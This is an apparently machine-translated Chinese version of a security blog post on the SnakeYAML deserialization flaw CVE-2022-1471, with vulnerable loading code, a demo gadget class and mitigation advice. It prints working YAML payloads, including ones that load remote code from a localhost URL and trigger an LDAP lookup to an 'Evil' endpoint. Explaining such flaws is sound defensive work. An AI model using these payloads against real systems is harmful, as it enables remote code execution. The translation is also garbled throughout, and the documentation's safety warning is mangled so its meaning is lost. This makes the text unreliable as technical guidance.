Snakeyaml是著名的YAML 1.1解析器和Java的发射器。最近,据报道了该软件包的CVE-2022-1471漏洞。此漏洞可以导致任意代码执行。 org.yaml:snakeyaml
软件包在Java生态系统中广泛使用,部分原因是它默认情况下包装在spring-boot-starter
中的Spring Boot。在本文中,我们研究了影响此Java库的安全漏洞,讨论它可能对您的应用程序产生的潜在危险影响,并权衡实际风险。
Snakeyaml安全漏洞是什么?
由于其构造函数类别的缺陷,Java的SnakeyAml库很容易受到任意执行的执行。该类不限制哪种类型可以是deserialized,从而使攻击者可以提供恶意的YAML文件进行审理并可能利用系统。因此,此缺陷导致了一个不安全的避免问题,该问题可能导致任意代码执行。
Snakeyaml脆弱性是什么样的
Snakeyaml供应或宣布YAML非常容易。通常您会做这样的事情:
Yaml yaml = new Yaml();
File file = new File("file.yaml");
InputStream inputStream = new FileInputStream(file);
User user = yaml.load(inputStream);
在上面示例中从文件加载YAML时,输入将被解析为通用Object.class
,这是Java中All Object
的Supertype。在我们的代码中,我们期望一个User
对象,但是在将Object
加载到内存之后发生。由于具有通用的Object
类型,因此可以使用任何对象。如果在应用程序的类Pather中可用,则可能会导致任意代码执行。
这类似于我们在Serialization and deserialization in Java和Abiaoqian的文章中探讨的问题。
Snakeyaml脆弱性演示
为了演示脆弱的场景,我故意创建了小工具类。 A 小工具是实例化时具有副作用的类,要么直接做某事或启动 gadget链。在这种情况下,小工具在调用构造函数时执行给定命令。
public class Gadget {
private Runnable command;
public Gadget(String value) {
this.command = new Command(value);
this.command.run();
}
}
当可以使用此Java类时,我可以用前面给出的代码对我的yaml进行验证,我可以在yaml文件中添加以下内容:
!!nl.brianvermeer.snakeyaml.Gadget ["touch myFile.txt"]
这意味着我可以专门针对类Path中可用的SnakeyAml的任何Java类。由于课程已经在我的课堂路径中,而Snakeyaml不管预期的班级都可以创建对象,因此我最终会得到一个ClassCastException
。但是,危害已经完成,并执行命令。在您的课堂路径中有一个小工具或小工具链可能会导致灾难性的情况,例如reverse shell attack。
实际应用程序中的Snakeyaml漏洞有多严重?
在上面的示例中,任何人都不太可能以我们所做的方式创建小工具。但是,引入第三方图书馆的确会增加您拥有其他人以这种方式创建的小工具 中的机会。快速查看ysoserial GitHub repo或可能的deserialization issues in the jackson-databind JSON库图书馆的列表,表明风险潜力很高。与Jackson-Databind的不同之处在于,Jackson默认没有启用defaultTyping
(如我们在prior vulnerability mention中所述)。
恶意演员还可以使用JDK中的某些班级造成一些损害。例如,ScriptEngine
:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
此YAML输入连接到可以将有害内容下载到您的应用程序中的URL,如this Websec article中所述。
另一个示例(取决于您正在运行的Java版本)是JdbcRowSetImpl
类,它可以利用LDAP请求进行查找。这可以像我们在Log4Shell not so long ago中看到类似的风险。
!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:9999/Evil"
autoCommit: true
有关更多信息,请查看Snakeyaml Bitbucket issue。
我受到Snakeyaml脆弱性的影响吗?
您是否受到影响取决于 您使用此库。如果您以与XML和JSON对象的使用相似的方式加载来自其他来源的自定义YAML数据,则可能很脆弱!一般规则是您不应从未知来源接受这些输入。
在大多数情况下,SnakeyAml将由Spring或Helidon等其他框架使用SnakeyAML来读取已成为系统一部分的YAML配置。如果恶意参与者能够更改这些配置文件,那么您会有不同的问题。因此,我个人认为这不会产生巨大影响。
图书馆的维护者对与此问题相关的风险提出异议。尽管如此,我们只是可以预测人们如何使用这样的库。
提议缓解蛇毒的脆弱性
出版时,此软件包没有新版本。维护者确实接受了Git pull request,该Git pull request引入了一个被判决的特定伪像的放置列表。预计将在1.34版本中提供。目前,默认行为似乎没有通用的修复。
请注意,SnakeyAml文档指出:_ 使用从不受信任的来源接收到的任何数据! Java对象._
默认使用,如下所示。
Yaml yaml = new Yaml(new SafeConstructor());
始终扫描您的依赖性
您已经知道,应用程序中的大多数代码都来自第三方库。而且,由于没有开发人员没有时间审查这些库中的所有代码,因此重要的是要扫描您的依赖项是否存在已知漏洞。 Snyk可以通过实时扫描,可行的修复建议和优先评分来轻松,因此您可以最大程度地利用补救工作的影响。 Start your free account today。
确保您的第三方依赖性
免费找到并自动修复脆弱的开源依赖关系。